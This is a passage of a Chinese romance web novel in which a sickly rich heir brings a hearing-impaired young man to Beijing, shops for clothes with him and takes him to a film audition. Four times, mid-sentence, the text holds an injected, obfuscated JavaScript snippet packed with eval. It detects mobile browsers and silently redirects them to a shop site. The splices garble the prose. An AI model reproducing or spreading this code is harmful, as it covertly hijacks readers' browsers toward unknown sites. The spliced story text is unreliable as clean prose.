高铁上的饭其实不难吃，但他胃里堵得慌，掀开盒盖拿筷子一下一下地戳。 季津知道他一有头疼脑热就吃不下饭，试图要去摸他的额头：“又烧起来了？” 季苇一把他的手挡回去，继续搅合饭盒里的茄子：“没有，不饿。” 却忽然看见张渊从前面把头转回来，看着他。 “茄子，不爱吃？” “不是。” 季苇一夹一筷子塞进嘴里，茄子鲜甜汁水混着油脂在嘴里软绵绵地摊开。 他边往嘴里塞两口，边对着张渊点点头：“爱吃。” 众所周知，大人是不挑食的。 虽然这往往是因为他们只采购自己喜欢的食材，但反正大人是不挑食的。 季苇一用力咀嚼，把碳水脂肪维生素蛋白质，混着大哥的尊严一并咽下。 其实好像也不是那么没胃口。 8. 当我借你的 出发的早，高铁到站的时候还不到中午。 来接他们的车还是季苇一的那辆酒红色迈巴赫。 车比他们早两天离开桦城，一身雪地里溅过的泥点都清洗干净，亮得能照出人影。 季苇一招呼张渊和他一起往后排坐：“上车。” 见他乖乖坐在自己身边，又想笑：“一开始不肯坐，现在看来还是跟这车有缘。” 他说得是初见那天，张渊毫不委婉地拒绝他载一程的盛情邀请，十分霸道地留下两条鱼就走了。 连个名字都没留下来。 张渊却摇头：“坐过了，那天晚上。” 季苇一这才想起来，他从村里回程那天烧懵了，还是张渊一路把他送进急诊室的。 连座位次序都跟今天一模一样，他在右，张渊在左，前头坐着司机，唯一区别在今天副驾驶多了个季津。 张渊俯身过来看他状况，衣袖上的雪水蹭在脖子上，高热中的一点清凉。 时隔两天，无论是装鱼留下的水渍还是那晚的寒气都被彻底清洗干净，淹没在淡淡的车载香薰里，不留痕迹。 换成张渊一个大活人坐在他身边。 人世间的缘分还真是奇妙。 有的人可能在茫茫人海中会擦身很多次也注意不到。有的人见一面，就像是牵住了某种关系网的两端，拉起一丝，勾出万缕联系。 车里飘着香薰味道，一种能安定心神的淡淡草木气味混合略显苦涩的药感。 季苇一不用香水，但是家里车上都放着这款香薰，从来不换。 张渊似乎嗅见了，耸着鼻子偷偷地吸，有点像工作状态下的警犬。 季苇一看到了，便问他：“好闻吗？” “嗯。”张渊点头，见他发现，更加正大光明地猛吸了一口。 季苇一便道不讨厌就好，看着他嗅，又觉得有趣。 他身边实在不缺吹捧说好话的人，左一句小季总有品位，右一句小季总衣服架子。 他从不当真是在夸他，心说有钱谁还不穿得人模狗样，何况他一个二世祖。 但是在香薰这种极具个人审美的地方忽然间得到了如此质朴的认同，忽然莫名有点暗爽。 当然好闻，他亲自挑的。 心道你小子也算注意观察生活，像是个能当演员的料。 就听见张渊对他说：“和你身上的味道一样。” 语气平实，目光坚定。 这次确实是个陈述句，不是在问。 季苇一耳朵莫名一热，忍不住抬起袖子送到鼻尖仔细闻了闻，不知道是不是感冒鼻塞，什么也没闻见。 “是吗？”他笑笑，“可能在车里待久了，沾上了。” 怎么真跟警犬抢业务啊…… 他放下袖子，任由自己往座椅里陷下去，问开车的助理梁信：“酒店给他订好了吗？” “订好了小季总，在别墅隔壁区的丽思卡尔顿。” “别墅”指得是他们家，季津还没结婚，有个关系非常稳定的女友常年在国外，他们兄弟俩到现在都还跟父母住在一起。 季苇一对张渊说：“头几天你先住在酒店，等和程导那边把事情确定好，再看看公寓租到哪里更方便。 张渊点点头，两天以来，季苇一也习惯了他对这一类的安排都从不提出任何异议。 这次居然听到他开口问：“要多少钱？” “嗯？”季苇一起初没反应过来，很久没自己订房，他一时还真不知道酒店的价格。 张渊又说：“我怕，我钱不够。” 季苇一还没说话，坐在前排的季津笑了，撇过头来说：“你甭管钱，他内电影指着你火呢。” 这口径算是他和季苇一提前统一好的，不拿季苇一的病说事，光说电影。 他说话太快，张渊听着实在费劲，季苇一给他当翻译，翻译得十分意会：“你先不要管，当我借你的，投资。” 张渊犹豫了一下，郑重其事：“如果赚了钱，都给你。” 季苇一心道又不是古时候戏班子签卖身契，却没反驳他：“行，等你火了。” 看见他那个露在自己一侧的助听器，伸手想点一点，又怕碰一下会不会造成什么连锁反应，虚指一下：“这个，就这么一个吗？” 他不懂这些，但是也看出张渊两侧都听不清楚。觉得既然人生了两只耳朵，要助听也应该给两边都助听才是。 张渊点头：“我只有一个。” “也有用两个的吗？” “贵。”张渊轻抚了一下他的助听器：“一个够了。” 看目前的状况，恐怕是不太够的，季苇一想。 他偏头仔细观察张渊的助听器，之前一直没在意，细看才发现旧得很明显。挂在耳朵上的部分已经碎了，在连接处缠了胶布粘起来。 季苇一叹口气：“先去酒店把东西放下休息一下，下午我带你去买几件衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740147|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服。过两天找人问问，以后工作要和人沟通的场合会增加，助听器还是再配一对新的比较好。” 张渊还没说话，季津忽然转过头来：“不行。” “什么不行？” “今天下午不行，”季津咬牙切齿，“我跟医生约好了，你给我去看病。” * 季苇一在B超室里躺下来的，冰凉的耦合剂接触到低烧中的皮肉，他抖了一下。 “凉吧，别紧张。”医生盯着屏幕敷衍地安慰了他一下：“这流程你熟。” 季苇一应声，不知道在这件事上业务纯熟到底该不该高兴。 熟练地把眼睛转过去，试图从医生仅露出一双眼睛的部分里解读自己的身体状况。 他几次手术都是走三甲医院的国际部，但是日常检查为了少排队，常年选在这家水平很高的私立医院。 私立医院无论是医生还是病人都少，他是这里的常客，看病的打针的做检查的全都和他熟。 这次也果然猜得差不多：“我这里看着还行啊，你感冒之后喘得厉害吗？” “不怎么喘，刚刚做了心电图也没事。”季苇一答，“就是普通感冒发烧的感觉，我哥瞎紧张。” “紧张点不是坏事。”对方把探头拿开，递给他纸巾擦身上的耦合剂，一边噼里啪啦的敲键盘一边念叨： “第一，我说得看着还行不是看起来很好很正常，是跟你自己相比没有多大变化。第二，等你自己感觉不对可能就来不及了，当初怎么进的ICU不记得了？” “记得。”季苇一从床上爬起来，一颗一颗系上扣子，还是觉得有残存的耦合剂留在身上，黏糊糊的。 “都有快十年了，我现在养生多了。” 对方打了报告出来递给他：“真养生你就不该让自己感冒，你这种情况，弄不好一个感冒导致心肌炎就心衰了。” 季苇一撇了一眼单子上列出来的一系列诊断，忽然笑了：“你说万一要是真的心衰了，我还能活多久？” 对方语塞，挥手赶人：“我的意思是让你别感冒，不是说你要心衰！别胡思乱想，到心内科找你主治去。” 季苇一把单子收进文件夹里，笑吟吟出去了。 他也觉得这话不该问，可刚刚一下没忍住。 人生相像是走在一条充满迷雾的独木桥上，光能看见脚下，不知道前路有多长。 而他迈每一步的时候，总担心下一秒会踩空。 9. 年轻人身体好 跑了趟医院虽然没查出什么大问题，季苇一低烧反复却是事实。 一连三天被季津劝在家里，大门不出二门不迈的养病。 他家里一共四口人，父母从前年开始逐渐步入半退休状态，公司里的大部分事情都是季津在上心，两个人常往国外跑。 季苇一回来的时候，他俩照例不在。季津白天上班，嘱咐住家阿姨盯着季苇一规律饮食不许乱跑。 对方坚决执行，并鼓励季苇一没有胃口也要少食多餐。一天给做四顿饭，外加上午水果下午炖盅。 从早到晚两眼一睁就是吃，撑得季苇一除了吃饭睡觉都在家里来回走楼梯消食。 碳水吃多了人也犯困，睡眠时间显著增加，只在床上打盹的间隙里看完了程秋手里的剧本。 就这么着养了三天外加抗生素的威力，他烧总算是退了，只是还有点咳嗽。 终于能理直气壮地提出要去找张渊。 自那天把张渊送进宾馆，他俩再没见过面儿。 季苇一只给他微信上转了一万块钱，转账备注里仍写“借你”二字，叫他安心在宾馆住着，自己可以随便到处逛逛，有事微信上找他。 其余的也没多问。 这么大个人了，京城什么都方便，只有身上有钱就丢不了。 就算真没钱了还可以找警察。 张渊知道他在养病，其余时间并不打扰，仅在每天下午六点前后询问他身体如何。 问法十分简单，复杂的关心一句没有，只说：“还在发烧吗？” 实际上是还在烧的，季苇一每天在晚饭前量体温，边对着三十八度的体温计撇嘴，边往对话框里敲下两个字： “还行。” 到底怎么叫“还行”，他不解释，张渊也没追问。 然而看见对话框顶上“对方正在输入中”出现又消失，半天跳不出一行字来。 正好许阿姨往桌上端晚饭，季苇一随手拍了过去。 家里只有两个人吃饭，也还给季苇一开小灶。三菜一汤，每一份都盛在精致漂亮的小碟子小碗里。 季苇一拍了照片，自认为至少营造出一种胃口不错的景象。 张渊问：“喜欢吃鱼？” 季苇一目光落在那道鱼汤炖豆腐上，鱼煎过，汤是奶白的，顶上飘着葱花。 他吃鱼的习惯是在桦城是的让冯帆给喂出来的，十岁刚搬回家的时候，一生病就只喝得下鱼汤，结果这个传统就一直被保留到现在。 时过经年，他本来早都忘了那鱼到底什么味道，因为在桦城走了一遭，再喝这汤就觉得怎么都差点味道，处理得再干净，总像是有股土腥味。 便对张渊说：“没有桦城的鱼好。” 对话框那边沉寂了几秒钟，这次连正在输入中也没有，季苇一把手机放下吃饭，再起来时，张渊说：“10月还有。” 他一时没懂这个“还有”指的是什么意思，吃了饭又吃了药，困劲儿正好上来，回他个“嗯”，刷了牙蜷在沙发上打盹看电视。 张渊没再说话，隔天还是这个点来问他身体状况，季苇一仍拍晚饭过去。 直到第三天，他终于能理直气壮地说退烧，打完字就点开拍摄对着饭，要按快门才忽然觉得不对。 怎么跟上班打卡似的，吃的什么还得晒一晒。 他从拍照界面里退出来，只告诉张渊明天要去找他。 时间地点都定好，就去忙别的事情。 临到睡前，忽然收到张渊的消息。 “吃饭了吗？” 他回“吃了”，发送成功的一瞬间脑子里跳出一个想法：张渊不会一直在等他拍晚饭吧？ 还真有可能。 于是微妙地生出一点把孩子忘在学校不记得领回家的歉意。 补上一句：“明天带你去吃点好的。 发完才觉得怪，吃什么好的，麦当劳儿童套餐吗…… 点单还能送个塑料小玩具那种。 * 第二天季苇一其实就不怎么记得这事儿，准点去酒店门口接张渊。 他有助理，多一半还是喜欢自己开车，握着方向盘在路上的时候，常常生出一种自己能掌控人生方向的错觉。 张渊早在门口等他，穿那天初见他时的那身衣服。 这酒店常有网红来打卡，往来进出的人不是穿得像港剧里的都市丽人就是潮得多看一眼都能的风湿。 张渊就这么直杆杆穿着洗掉色的衬衣杵在门口，让人怀疑他是来推销健身卡的。 季苇一停车招呼他，当时就在心里生出一种莫名奇妙的胜负欲来。 边开车，边在脑子里琢磨该怎么打扮他。 “给你买几身衣服。”说完又怕张渊推辞：“明天带你去见程导，穿这样不合适。” 张渊吸一口气：“我不知道怎么拍电影。” “没关系，只是让她看看，你现在什么都不用想。” 这话倒不是为了安慰张渊，那剧本他也是这几天才完整看过。 本子情节谈不上有多复杂，借一双小镇青年的眼睛见证一座城市的衰落，读完只记得说不出的惆怅。 剧本中有很多对于氛围的想象，光看文字描述比较干巴，其实对导演和摄影的要求更高些。 只是他读得时候便把主人公代入张渊，越看越觉得如果偏要找个素人来演，真是命中注定要他遇见张渊。 本可以先把剧本给张渊看看，或者至少给他讲讲大致情节，却故意什么都没说。 他相信自己的判断，也相信程秋选人的眼光，不想多说什么影响了张渊的第一直觉。 他也想看看，面对程秋，张渊到底能让他看到什么。 车子停进地下，季苇一带着张渊往楼上走。 再往后天就越发热了，商场里已经开始卖夏装。 季苇一起先把张渊领到店里让他自己挑，那店员立刻围上来，左一件推荐右一件合适。 张渊面对递到自己面前的衣服，也不摇头也不点头，偏过脸来求助地看向季苇一。 季苇一想起那天晚上在冯帆灵前，他特意走过来把自己和冯成业隔开的时候。 那会儿可凶得很，没见到怵谁。 原来脸上也会露出这种表情，还挺有意思。 便走过去从店员手里挑了一件递给他：“去试试这个。” 趁他换衣服的短短几分钟，在店里又选中几件放在一边。 张渊走出来，穿着季苇一挑得那件带简单印花的黑T，像小学生展示老师胸前的红领巾那样挺直身体站在他面前。 季苇一满意点点头：之前没发现，小伙子胸肌挺发达。 修车还挺锻炼身体的。 他又指指那堆衣服：“都去试试看。” 张渊依言照做，一件一件飞快地换了衣服出来，只往季苇一面前站。 季苇一后来才觉出哪里不对：“你不照镜子，能选出哪件好看吗？” 张渊垂眼：“听你的。” 这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740148|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得季苇一莫名受用，也不再问他的意思，点了几件衣服要人包起来。 张渊身上正穿着的是一堆衣服里面为数不多的长袖衬衫，和他原来的那件一样都是黑色。 只是质地优良剪裁得当，真丝光泽在商场的灯光底下好似暗流涌动。 季苇一把这件衣服也点名要买下，张渊转身要去换了，季苇一却拦他：“别换了，就这么穿着吧。” 本已经付了款，路过放领带的柜台又停步，对着张渊打量半天，叫店员拿一条出来。 季苇一把领带系在张渊脖子上端详一番：“这条也要了。” 转身看见张渊低头看着自己身上的领带，问他：“会打领带吗？” 张渊摇头。 季苇一便把人带到镜子面前，拆掉他脖子上的领带。 比划了一下，又觉得这里的灯光不是很合适。 干脆把张渊拉进试衣间，拉上帘子：“该学一学。” 他本想站在张渊身后，从后面系一次，让张渊从第一视角看个清楚。 然而发现张渊太高，试衣间又窄，他退不开，站到身后自己就看不到镜子。 只好和张渊面对面站着，叫他转过头去：“别低头看我，看镜子里。” 把领带搭在张渊脖子上：“这种是最简单的。” 他知道张渊为了听人说话，就不得不仔细看着对方的嘴唇。怕他分心，故意并不讲解，只把每一步动作都做得很慢，好让他看得清。 空间确实有点狭小，塞两个成年男人，工作难度都增大了。 花五分钟打了三次，问张渊：“记住了吗？” 见张渊点头，便说：“那你打给我看看。” 张渊伸手去解自己脖子上的扣，他对领带的构造仍还不怎么熟悉，但动手时没有很多初学者急躁地生拉硬拽。 季苇一目光随着他修长的手指移动，又想这手在镜头面前拍特写估计效果会挺不错。 下一秒，忽然就感觉有东西套出了自己的脖子。 他惊了一下，后退一步，脚后跟顶住了试衣间的墙壁。 张渊的手指已经在他领口绕出第一个结。 等等，他的意思是叫他在自己脖子上试…… 但刚刚他教得好像确实是怎么给别人系领带？ 季苇一只好仰起脸来，把脖子上的空间让出来，引颈就戮。 张渊很高，在季苇一颈前打结时，挡住试衣间的灯光，在他身上投下阴影。 可能是光线太暗看不清楚，他低下头凑近过来，头顶在季苇一嘴唇上蹭了一下。 头发很硬，有种胡茬般得错觉。 均匀的呼吸声传进耳朵里，季苇一直挺挺地站着。 领带的一端塞进结扣，张渊拽一下结扣调整长度，稍微用力过猛，领口压住季苇一的喉结，他低低咳嗽一声。 张渊便用手指握住他的领口，从后往前捋了一圈，确保松紧适宜褶皱平整。 他退开一点点，看镜子里：“对吗？” “对。” 季苇一也转过头去，从镜子里看自己，看到自己苍白的颧骨上一抹淡红。 他用手摸了一下。 突然间觉得心脏在胸口“咚”得敲了一下。 猛地掀开试衣间的帘子，边大步迈出去，边飞速扯掉脖子上的领带，往柜台上一推。 “帮我一块包起来，结账。” 年轻人身体好，火力真是旺盛。 凑近了都觉得热得慌。 10. 好什么好 结了账出来，季苇一的话就少了。 其实他本来还打算给张渊再换部手机，经过刚才那么一搞，不知怎么有些急于结束这段行程。 一旦季苇一变得沉默，张渊更不会说什么，拎着东西乖乖跟在他身后。 感冒未愈，体力太差，他甚至已经有点想回家，但又想起昨天还答应张渊要请他吃点好的。 所谓“今子欺之，是教子欺也”，大人不能说话不算话。 季苇一问张渊：“想吃什么？” “听你的。” 听你的，可能是张渊今天说过最多的一句话。 季苇一便也不再勉强，工作日的中午，时间还早，人不是很多。 找了家还不错的馆子坐下，问到张渊没有忌口，自己点了菜。 这种商场里严禁明火，什么价位的馆子实际上都是预制菜，很快就能端上来。 这家店是一家改良本帮菜，季苇一点点端上来的东坡肉：“尝尝。” 张渊夹了肉在筷子上，悬停在半空，又看他：你不吃吗？” “吃，”季苇一怕他不好意思下筷子，自己也搛一块放到自己面前。那肉上挂着皮，晶莹剔透浓油赤酱，落在碟子里的时候微微颤动。 他用筷子把皮肉分开，顶上肥油刮掉，在下面的瘦肉咬了一小口。 第一感觉是甜，第二感觉是腥。 平心而论这东西做得应该不错，肉是好肉，香料味没有过重，糖色也没有炒糊。 他几乎不能判断那种异样的味道从何而来——或者单纯就是猪肉本身正常的味道。 长大后他已经很少有这样的时候，大学时期经常吃食堂也没觉得有什么不对。 但可能是这几天家里小灶吃得太精细，把嘴养刁，冷不丁来这么一口难以适应。 眼见张渊已经把肉塞进嘴里嚼，怎么也不好当着他的面儿吐出来，囫囵吞下去，嗓子里条件反射般开始收缩。 忙喝两口银耳羹压一压，甜润盖住了肉味，落到胃里，还是不知道有哪个地方隐约像被什么东西膈了一下。 然后季苇一就再没碰荤菜。 桌上还摆着一盘龙井虾仁，一到清蒸鱼和两样素菜，外加每人面前放一碗银耳羹。 张渊逢伸筷子之前，总要等他先。 他推说自己虾仁过敏，又受不了清蒸鱼上的辣椒，捡油菜吃了一口，又觉得菜有些老了，在嘴里咯吱咯吱嚼不烂，抻得太阳穴痛。 最后只捧着那碗银耳羹，一勺一勺喝得很慢，拿勺子背推碗里半透明的银耳雪燕画圈。 听见张渊问他：“喜欢这个？” 其实不是喜欢银耳羹，是只能吃得下银耳羹。 季苇一仍在碗里搅，“嗯”了一声：“爱吃甜的。” 听见响动才抬头，看见张渊把自己面前的银耳羹很小心地往他面前推：“给你。” 立刻又补上一句：“我没碰过。” 他笑笑：“给我干嘛，我吃一碗就够了。” 张渊仍将碗往前推推：“太少了，吃不饱。” 那银耳羹只有一小盅，除了一点红枣和胶质，其实就是放了冰糖的水。以正常男人的标准看，基本上也就能润润嗓子。 张渊觉得他吃不饱，在情理之中。 但季苇一这几天天天被人管着吃饭，在家里被长辈念叨念叨也罢了，没想到今天抱着带张渊出来逛逛的心思，居然连一直说啥听啥的张渊也要管他吃饭。 外加胃里痛不说很痛，就是酸胀着不舒服，又不知道具体难受在什么地方，像是食物落进胃里，和黏膜安静地摩擦。 摩得他心头无名火：“不要！” 喊得不高，语气却冲，话音未落，肋骨底下一阵锐痛。 劲儿使猛了。 他按着肋骨侧过身来，冲凑过来的张渊摆了摆手：“有点岔气，不要紧。” 说话时牵动肌肉，他最后的尾音淹没在吃痛声里。 季苇一憋住一口气侧靠在沙发上缓了半天，才慢慢坐直身体：“快吃，吃完了送你回去。” 边说边掏出手机给助理发微信来开车。 从刚才就紧盯着他没有再往嘴里塞一点东西的张渊站起来：“吃饱了。” 季苇一实在没劲儿多说话，点点头示意张渊先走出去。 他扶着沙发慢慢站起来，路过满桌子没怎么动过的菜，又招手喊服务生：“麻烦帮我打包。” 这火不该冲着张渊，长身体的年纪还是别饿着。 * 季苇一送张渊回酒店，连人带菜一起送走，又在车上嘱咐助理不许多话。 进家门只说累了，钻进卧室里歇着，怎么站怎么坐都觉得肋间扯着痛，只有躺着舒服一点。裹着被子想歇一歇，一不留神睡着了。 这一觉断断续续到晚上八九点钟，他醒来的时候，窗外月亮都上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740149|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 岔气彻底缓解，他终于有点饿了。不想折腾人打算自己随便找点吃的，结果刚出房间门就遇上季津。 “我也觉得你该睡醒了，客厅给你留了饭，许阿姨说你要是不爱吃，她再给你做点别的。” “爱吃。” 季苇一把盛好的饭菜放进微波炉热了，病号饭都清淡的要命，好吃也难说多好吃，但总之这次不觉得反胃了。 吃饱之后情绪稳定，他才想起来好几个钟头没看手机，担心错过工作上的消息。 掏出来才发现手机早就没电自动关机，怪不得一下午睡得迷迷糊糊无人打扰。 他给手机充上电，刚开机联网，就疯狂的抖动起来，满屏消息跳出来。 大部分都是骚扰短信和APP广告，他一条一条删下去，空出几条有用的消息，手机忽然又震起来，混在一堆乱七八糟的信息提醒了，他本能地划了一下。 挂掉之后才意识到那时微信语音，张渊给他弹的。 点开对话框，一整排未接语音规规矩矩地填满了整个屏幕。 季苇一往上滑，滑到最上面的消息。张渊在他们分别一小时左右问他：“还痛吗？” 他没有回复，半个小时之后，张渊给他打了第一个电话。 从下午一点到晚上九点，每二十分钟一个，一共二十七个——加上刚刚二十八了。 季苇一顿时有点发愣，他中午走得时候状态不好，回到家又没听见消息，张渊以为他出事了？ 他忙点了语音回拨，还未接通就想起张渊其实是打不了电话的，又挂掉，改文字回复他：“现在好了，不痛了。” 又为他许久的沉默做解释：“抱歉，下午睡着了，手机没电了。” 正在输入中的标签出现了许久，屏幕上跳出一个字。 “好。” 他有点懵，好，好什么好？好算怎么个说法。 一时语塞，给他敲了一句：“明天带你去见程导，记得时间，门口等我。” 张渊又回了个“好”。 季苇一彻底没话说，分明耳朵不方便，打了这么一堆电话，最后怎么又只回两个“好”字。 白天无非是拒绝一碗银耳羹，又谈不上又多凶，还能吓着了不成。 他把用完的盘子丢进洗碗机里，对着手机屏幕叹气。 养孩子可真难，心思猜不透，不像小猫小狗，喂饱了就会开心。 11. 颤就颤吧 第二天是个大晴天，季苇一早上八点不到就去找张渊。 对方照例提前等在酒店门口，还穿昨天季苇一帮他挑得那身黑衬衣，站得笔直，像幢在门前的一杆黑旗。 然而唯独身上背了个破双肩包，看上去就像一个…… 蓄势待发准备推销信用卡的人。 季苇一路上本还惦记着昨晚事，弄不清张渊到底什么态度，远远看见张渊站在那里，一瞬间有些许忐忑。 可冷不丁看见张渊穿着这么一身坐进来，胸前的领带一丝不苟，忽然就没忍住笑出声。 张渊看见他笑，低下头去看着自己的领带：“不对？” “对，”季苇一一笑嗓子就痒，背过身去掩着嘴咳嗽几声，想到他一本正经的样子嘴角就又不自觉往上翘：“你打得很好。” 这是实话，张渊学东西很快，领带系得板板正正。 “就是……”季苇一替他把脖子上的领带解开：“太严肃了，今天用不着这么严肃。” 他简直能想象出，如果就这么带着张渊见到程秋，对方可能会笑得坐到地上去。 不是笑张渊，是笑话他。 松掉了领带，颈间的压力骤然减轻，张渊狠狠舒了一口气。 他其实不能理解这种东西的存在的意义，没有腰带裤子会掉，没有领带衣服又不会绷开。 这东西不仅没用，束缚感又很强，走起路来还会跟着摇晃，做什么事都要小心不把它弄脏。 领带是季苇一送的，他不想弄脏，也不想让季苇一觉得他不喜欢这东西。 所以小心翼翼地系在胸前。 万幸对方主动帮他把领带取下来，颈部仍有残存的压力感，他沿着领口摸了摸，索性把顶上的几颗扣子都解开。 其实衬衫他也不想穿，这里比桦城暖和很多，穿长袖对他来说已经有点热了。 只是季苇一昨天叫他就这么穿着，所以他才就这么穿着。 抬头却发现对方仍然在盯着自己看，欲言又止，表情复杂。 张渊看不懂，问他：“穿这个衣服，不好？” “咳，没有，挺好的。”季苇一强迫自己把目光从他敞开半片的胸脯上离开，松开手刹，一脚油门拐上路。 挺、好、的，程秋肯定喜欢。 所以修车真的这么锻炼身体吗？ 还是单纯张渊天赋异禀？ 程秋的工作室在郊区，离酒店还有不短的一段距离。 她工作室刚搬不久，季苇一自己也还没去过，专心跟着导航开车。正好碰上上班高峰期，堵车厉害。 走走停停，一路无话。 季苇一几次看右后视镜时，余光掠过坐在一旁的张渊。 对方全程沉默地坐在那里，破双肩包抱在怀里，微微偏头。 季苇一不知道他是在看左侧的窗户，还是在打量自己。 但无论是不是在看自己，季苇一并不讨厌被他这样看着。 沉默是张渊身上一个非常显著的优点，而这一点在他身边的人群里显得极为稀缺。 从小到大，因为各种原因，他身边总是充斥着太多的声音，有些是在叮嘱他，有些是在巴结他。 而大多数时候，张渊什么也不说，只是静静地看着。 季苇一把车停进园区：“到了。”他拉开自己那边的车门，一条腿已经迈下去，回头看一眼，发现张渊怀里还抱着那个破双肩包。 “拿得什么东西，不重要就先放在车里吧。” 张渊像是这才想起来，拉开包翻出一个塑料袋来：“给你。” 要送也是给程秋送，给他送的什么礼？季苇一莫名其妙接过来，拆开塑料袋。 登时左脚一滑，差点从车座上出溜下去。 一瓶红花油，满满一袋健胃消食片，混着两盒吗丁啉。 季苇一抬起脸来，刚刚没踩稳，上牙磕在下嘴唇上，挺深的一道。 他在满嘴血味儿里茫然地看向张渊。 “药店说，”张渊点点塑料袋：“不想吃饭，吃这个。” “有心了，谢谢你。”季苇一忍着嘴疼朝张渊笑了笑。 忽然有了种被刚收留的野猫投喂鲜活大老鼠的微妙心情。 * 程秋醒着，准确来说，是还没睡。 不在片场的时候，她习惯于从傍晚工作到第二天上午。 这位传说中近些年最有天赋的青年导演现在还不到四十岁，有一头半长不短的头发，拿橡皮筋绑在脑后，零零散散掉许多碎发出来。 她没化妆，戴一幅板材框架的大圆眼镜，穿着一身黑衣服。 见面就对着张渊笑：“怎么，看了这么半天，觉得我像导演不？” 张渊没说话，程秋看起来很年轻，是那种像大学生一样的年轻。他心里对导演该是什么什么样子没有概念，但总以为会是年纪很大的人。 季苇一从旁拉了他一下：“你别逗他了。” 反正逗他他也不说话。 程秋侧过头去打了个哈欠，季苇一又说：“路上堵车，来晚了，抱歉。” 程秋看着表挥挥手：“没晚，就这个时候刚好，咱们速战速决。” 她引他们进了工作室的其中一间屋子。 房间不大，窗户很小，窗帘很厚，关上门的瞬间屋里就黑了。 程秋没有开灯，只是走过去拉开半扇窗帘，窗子朝东，上午十点钟的阳光斜斜地照射进来。 季苇一被晃了一下眼睛，短暂地视觉模糊之后，他看到屋里只放了一张桌子。 靠近窗户的地方用三脚架支着个小摄影机，背对窗户，面朝屋内。 程秋说：“小季总赏脸借我搭个戏呗。” 季苇一问：“演什么？” 他料程秋也不会让他挑战什么高难度演技场面，估计无非是走个位置说两句话。怕得是要求的场面比较复杂，会搞得张渊手足无措。 “不管演什么，”程秋指指摄影机：“你们俩干什么都行，让他的脸对着镜头。” 张渊有些疑惑：“干什么都行？” “对，随便干什么，说话也行，不说话也行，一直到我喊停就行。”程秋道。 ——这显然并不是正常挑选演员的流程，程秋既没跟张渊讲戏，也没给他看剧本。 很难说她到底打算观察什么，但季苇一觉得自己差不多能猜到一些。 程秋想要的并不是真正的“演员”，否则以她这两年的地位，大把科班出身的专业人才可以供她挑挑拣拣。 她不需要会演戏的人，而是需要一个能承载住她想法的“素材”。 从他身上提取原材料，再经由她手重新塑造，彻底成为属于程秋的东西。 而季苇一试图引导张渊展现出他身上的原始材料。 环顾一周，他坐上了屋里的那张空桌子。 “张渊，过来。”他招招手。 张渊依言走过来，季苇一瞬间就明白了程秋为什么要选在这个时间点。 阳光正好照在张渊脸上，他浓黑的瞳孔像带猫眼的黑曜石一般泛起光晕。 季苇一看不见摄像头里的视角，但随着张渊的动作轻轻往一旁挪了挪。 那桌子很高，如果他计算的没错，镜头里本该洒在张渊身上的光线会恰好被他挡住一部分。 他微微仰起头：“你什么都不用做，看着我就行。” “好。” 坐在镜头后的程秋无声地笑了笑，不带什么倾向性的开口：“准备好了就开始。” 季苇一问：“准备好了吗？” 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740150|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊仍如常那样看着他，点了点头。 快门按动的声音响起，季苇一全神贯注地与张渊对视。 张渊并不畏惧他的目光，或者说，他似乎从不畏惧任何人的目光。 他看人的时候很专注，不躲闪，直白坦荡地将全部的视线一并投注过来。而且眨眼很慢，所以那双深黑色的瞳孔凝聚在一处的时间格外长，长到好像要穿过对方的虹膜，进入到很深很深的身体内部。 时间一分一秒地过去，季苇一忽然觉得身上发热，正在渐渐渗出汗水。 太安静了，他想。 他本担心张渊没办法顺利地完成程秋的要求，却没想到，扛不住对视的人竟然是他自己。 长久地凝视着这样一双眼睛的确是一件很有挑战的事情——因为张渊的眼中能照出他自己的。 季苇一看到小小的自己的影子，映在张渊的两眼中，因为底色黑，所以映得格外清晰。 让他可以看清自己身上的颤抖，然后忽然意识到，这样的“片场气氛”是如此使他兴奋。 ——时隔多年，他还是在为此而感到兴奋。 以至于他其实正在嫉妒程秋，当他近距离的端详张渊的时候，这种嫉妒才变得清晰起来。 